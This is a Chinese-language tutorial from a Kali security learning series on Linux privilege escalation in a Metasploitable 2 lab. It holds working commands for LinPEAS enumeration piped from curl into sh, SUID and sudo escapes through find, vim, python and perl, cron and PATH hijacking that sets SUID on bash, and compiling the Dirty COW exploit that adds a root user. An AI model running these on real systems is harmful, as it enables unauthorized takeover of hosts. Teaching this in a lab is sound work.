📚 网络安全 Kali 学习系列
模块 0 基础阶段 ✅ 已完成
01-18 Linux → 网络 → 密码学 → 编程 → Docker
模块 1 信息收集 ✅ 已完成 | 模块 2 Web渗透 ✅ 已完成
19-31 扫描 → 漏洞 → sqlmap → XSS → WAF绕过
模块 3 代码审计 ✅ 已完成
32-37 审计入门 → Node.js → PHP → Java → Python → CVE复现
模块 4 漏洞利用与后渗透(进行中)
38 Metasploit 入门 ✓ | 39 Payload 生成 ✓
40 Linux 权限提升技术 ✓(本篇)
41 Windows提权 | 42 权限维持 | 43 免杀基础
Linux 权限提升技术
网络安全 Kali 学习系列 · 第 40 篇 · 模块 4 漏洞利用与后渗透

读完本篇你将能:使用 LinPEAS 系统化枚举 Linux 提权路径,掌握 SUID/SGID 滥用、sudo 配置利用、cron 任务劫持、内核漏洞提权和 capabilities 提权五种方法,在 Metasploitable 2 上从普通用户提升到 root 权限。

上一篇学会了 payload 生成和 meterpreter 操作——你拿到了一个 shell。但大多数情况下这个 shell 是低权限用户(www-data 或 msfadmin),不能读 /etc/shadow、不能改系统配置。提权就是从低权限用户跃升到 root 的过程。Linux 提权的核心思路不是"破解密码",而是"找到配置失误和内核漏洞"——系统管理员的一个疏忽就是你的提权路径。

目录

第一章 提权方法论:枚举优先
第二章 LinPEAS 自动化枚举
第三章 SUID/SGID 提权
第四章 sudo 与 sudoers 配置利用
第五章 cron 任务与路径劫持
第六章 内核漏洞提权(Dirty COW / Dirty Pipe)
第七章 分级练习

第一章 提权方法论:枚举优先

提权的铁律:先枚举,再利用。盲目尝试已知 exploit 往往浪费时间还可能崩溃系统。正确的流程是:收集系统信息 → 识别可能的提权路径 → 验证可行性 → 执行提权。

1.1 手动枚举清单

Shell · 手动信息枚举 enum_manual.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 系统信息
uname -a         # 内核版本和架构
cat /etc/issue    # 发行版信息
 
# 用户和权限
id               # 当前用户和组
sudo -l          # 当前用户的 sudo 权限
cat /etc/passwd    # 所有用户列表
 
# SUID 文件
find / -perm -4000 -type f 2>/dev/null
 
# 可写脚本(cron 可能调用)
find / -writable -type f 2>/dev/null | head -20
 
# cron 任务
cat /etc/crontab   # 系统级定时任务
ls -la /etc/cron.* # cron 目录
 
# 网络信息
ss -tlnp        # 监听端口
ip addr          # 网络接口

这些命令覆盖了 90% 的提权枚举需求。核心关注点:内核版本(决定能否用内核提权)、sudo 权限(可能有 NOPASSWD 命令可利用)、SUID 文件(某些程序有 SUID 且可执行任意命令)、cron 任务(可能调用可写脚本)。手动枚举适合快速排查,全面枚举交给 LinPEAS。

第二章 LinPEAS 自动化枚举

LinPEAS(Linux Privilege Escalation Awesome Script)是目前最全面的 Linux 提权枚举工具,自动检测 200+ 种提权路径,输出彩色标记的高亮报告。

Shell · LinPEAS 枚举 linpeas.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 方式一:直接远程执行(不留文件)
curl -L https://github.com/peass/peass-ng/releases/latest/download/linpeas.sh \
  | sh
 
# 方式二:上传后执行(推荐,可保存报告)
# 在 meterpreter 中上传
upload ./linpeas.sh /tmp/linpeas.sh
 
# 在目标 shell 中执行
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh > /tmp/report.txt 2>&1
 
# 下载报告到攻击机分析
download /tmp/report.txt
💡 小贴士
LinPEAS 报告中红色标记(RED)表示高概率提权路径,黄色(YELLOW)表示值得关注,绿色表示正常配置。优先查看红色标记项——通常是 SUID 异常、sudo 配置错误、内核版本有已知漏洞。不要试图记住所有检测项,学会阅读报告的颜色优先级即可。

第三章 SUID/SGID 提权

SUID(Set User ID)位让普通用户以文件属主身份执行程序。如果属主是 root,执行该程序时就拥有 root 权限。不是所有 SUID 程序都能提权——只有那些允许执行外部命令或读写敏感文件的程序才有利用价值。

3.1 查找 SUID 文件

Shell · SUID 查找与利用 suid.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 查找所有 SUID 文件
find / -perm -4000 -type f 2>/dev/null
 
# 查找 SGID 文件
find / -perm -2000 -type f 2>/dev/null
 
# 常见可利用 SUID 程序(在 GTFOBins 查询)
# find、nmap、vim、python、perl、bash、cp、mv
 
# 利用 find SUID 提权
find . -exec /bin/sh \;
 
# 利用 python SUID 提权
python3 -c 'import os; os.execl("/bin/sh","sh","-p")'

关键工具是 GTFOBins(gtfobins.github.io)——一个 Unix 二进制文件利用数据库。在 SUID 列表中找到任何程序名,去 GTFOBins 搜索,如果该程序有 SUID 利用方式,网站会给出完整的利用命令。常见的可利用 SUID 程序包括 find(-exec 参数执行命令)、python(os.execl 保持 SUID 权限)、cp(覆盖 /etc/passwd)。

第四章 sudo 与 sudoers 配置利用

sudo 让普通用户以 root 身份执行特定命令。如果 sudoers 配置不当——允许执行有命令执行能力的程序,就能间接获得 root shell。

4.1 sudo -l 探测

Shell · sudo 配置利用 sudo_exploit.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 查看当前用户可执行的 sudo 命令
sudo -l
 
# 场景 1:NOPASSWD + 可执行命令的程序
# (ALL, NOPASSWD) find
sudo find . -exec /bin/sh \;
 
# 场景 2:NOPASSWD + vim
sudo vim -c ':!sh'
 
# 场景 3:NOPASSWD + env(重置环境变量)
# sudoers 中有 Defaults env_reset 可被绕过
sudo env PERL5OPT='-Msystem("sh")' perl -e ''
 
# 场景 4:通配符配置漏洞
# (ALL) /usr/bin/passwd *
sudo /usr/bin/passwd root # 直接改 root 密码

sudo -l 是提权枚举的第一步。输出中如果看到 NOPASSWD 表示不需要密码就能执行该命令——这是最容易利用的场景。然后在 GTFOBins 查找对应程序的 sudo 利用方式。通配符配置(如 * 匹配任意参数)也常有逻辑漏洞。

第五章 cron 任务与路径劫持

cron 是 Linux 的定时任务调度器。如果 root 的 cron 任务执行了一个可写脚本,或者执行命令时使用了相对路径,攻击者可以通过修改脚本内容或 PATH 变量来劫持执行流程。

5.1 cron 任务查看与利用

Shell · cron 任务利用 cron_exploit.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 查看 cron 任务
cat /etc/crontab
ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/
 
# 场景 1:root 执行可写脚本
# crontab: * * * * * root /tmp/backup.sh
echo 'chmod u+s /bin/bash' > /tmp/backup.sh
# 等待 cron 执行后,bash 获得 SUID
/bin/bash -p
 
# 场景 2:PATH 劫持
# crontab: * * * * * root backup.sh(无完整路径)
echo '#!/bin/bash' > /tmp/backup.sh
echo 'chmod u+s /bin/bash' >> /tmp/backup.sh
chmod +x /tmp/backup.sh
export PATH=/tmp:$PATH
# cron 执行 backup.sh 时会先在 /tmp 找到恶意版本
⚠️ 常见错误
cron 提权后 bash -p 没有变成 root

排查步骤:① 确认 ls -l /bin/bash 的 SUID 位是否已设置(权限中有 s);② 确认 cron 任务确实以 root 执行(检查 /etc/crontab 中的用户列);③ 某些系统 bash 会重置 SUID(用 python3 -c 'import os; os.setuid(0); os.system("/bin/sh")' 替代)。

第六章 内核漏洞提权(Dirty COW / Dirty Pipe)

内核漏洞提权是最暴力但最有效的方法——直接利用 Linux 内核的内存破坏漏洞获取 root 权限。Dirty COW(CVE-2016-5195)和 Dirty Pipe(CVE-2022-0847)是两个经典案例。

6.1 Dirty COW

Dirty COW(CVE-2016-5195)是 Linux 内核的竞争条件漏洞,存在于 2.6.22 至 4.8.3 的所有内核版本中。通过 madvise 系统调用触发竞态条件,可以写入只读内存映射——包括修改 /etc/passwd 注入 root 用户。

Shell · 内核漏洞提权 kernel_exploit.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 查看内核版本确认是否受影响
uname -r   # 如 3.2.0-4 则可能受 Dirty COW 影响
 
# 搜索 exploit-db 中的内核提权 exploit
searchsploit dirty cow
 
# 复制到当前目录
searchsploit -m 40839 # Dirty COW passwd 提权
 
# 编译 exploit
gcc -pthread 40839.c -o dirty_cow -lcrypt
 
# 上传到目标并执行
upload ./dirty_cow /tmp/dirty_cow
chmod +x /tmp/dirty_cow && /tmp/dirty_cow
# 生成的用户:firefart / 已修改的密码

searchsploit 是 Kali 自带的 exploit-db 本地搜索工具。Dirty COW 的 passwd 利用方式会在 /etc/passwd 中注入一个 UID=0 的用户(如 firefart),直接用该用户登录即获 root。Dirty Pipe(CVE-2022-0847)原理不同——利用 pipe 缓冲区可写特性修改只读文件——但利用流程类似:搜索 exploit → 编译 → 上传 → 执行。内核提权是最后手段,因为可能导致内核崩溃。

另一种方式是利用 MSF 内置的内核提权模块:exploit/linux/local/... 系列模块自动检测内核版本并推荐对应的 exploit。在 meterpreter 会话中执行 background 回到 MSF 控制台,然后 search name:local type:exploit platform:linux 浏览可用的本地提权模块。

第七章 分级练习

🟢 基础练习:LinPEAS 枚举与 SUID 提权

练习 1:从 www-data 到 root
任务:在 Metasploitable 2 上获取低权限 shell,用 LinPEAS 枚举提权路径,通过 SUID 提权到 root。
① 通过 vsftpd 后门获取 shell(参考第 38 篇)
② 上传 LinPEAS 并执行,保存报告
③ 在报告中找到 SUID 异常项
④ 用 GTFOBins 查找利用方式并执行
验证标准:执行 id 输出 uid=0(root)。

🟡 进阶练习:sudo 配置利用

练习 2:sudo 权限链式利用
任务:用 sudo -l 发现可用命令,链式提权到 root。

步骤:
1. SSH 登录 Metasploitable 2(msfadmin/msfadmin)
2. 执行 sudo -l 查看可用命令
3. 尝试通过允许的程序间接获取 root shell
4. 在 GTFOBins 搜索每个可用程序的 sudo 利用方式

思考:为什么 sudo vim 能提权但 sudo cat 不能?

🔴 高级练习:内核漏洞提权

练习 3:Dirty COW 内核提权
任务:确认 Metasploitable 2 内核版本,编译并执行 Dirty COW exploit 提权。

步骤:
① 执行 uname -r 确认内核版本受 Dirty COW 影响
② 在 Kali 上用 searchsploit 找到 Dirty COW exploit
③ 编译 exploit(需要 gcc -pthread ... -lcrypt)
④ 上传到目标执行,验证新用户登录

验证标准:用生成的 firefart 用户登录,id 显示 uid=0。

知识回顾

提权方法论 LinPEAS 枚举 SUID/SGID GTFOBins sudo -l NOPASSWD 利用 cron 任务劫持 PATH 劫持 Dirty COW searchsploit 内核提权 env_reset 绕过
下一篇预告
📚 网络安全 Kali 学习系列 · 第 41 篇
Windows 权限提升技术
从 UAC 绕过到服务路径漏洞,系统讲解 Windows 提权的枚举与利用。涵盖 WinPEAS 信息收集、Unquoted Service Path、令牌模拟(SeImpersonate)、AccessChk 权限分析、注册表提权以及 AlwaysInstallElevated 利用。

网络安全 Kali 学习系列 · 模块 4 漏洞利用与后渗透 · 第 40 篇

学安全,为守护 · 用安全,为建设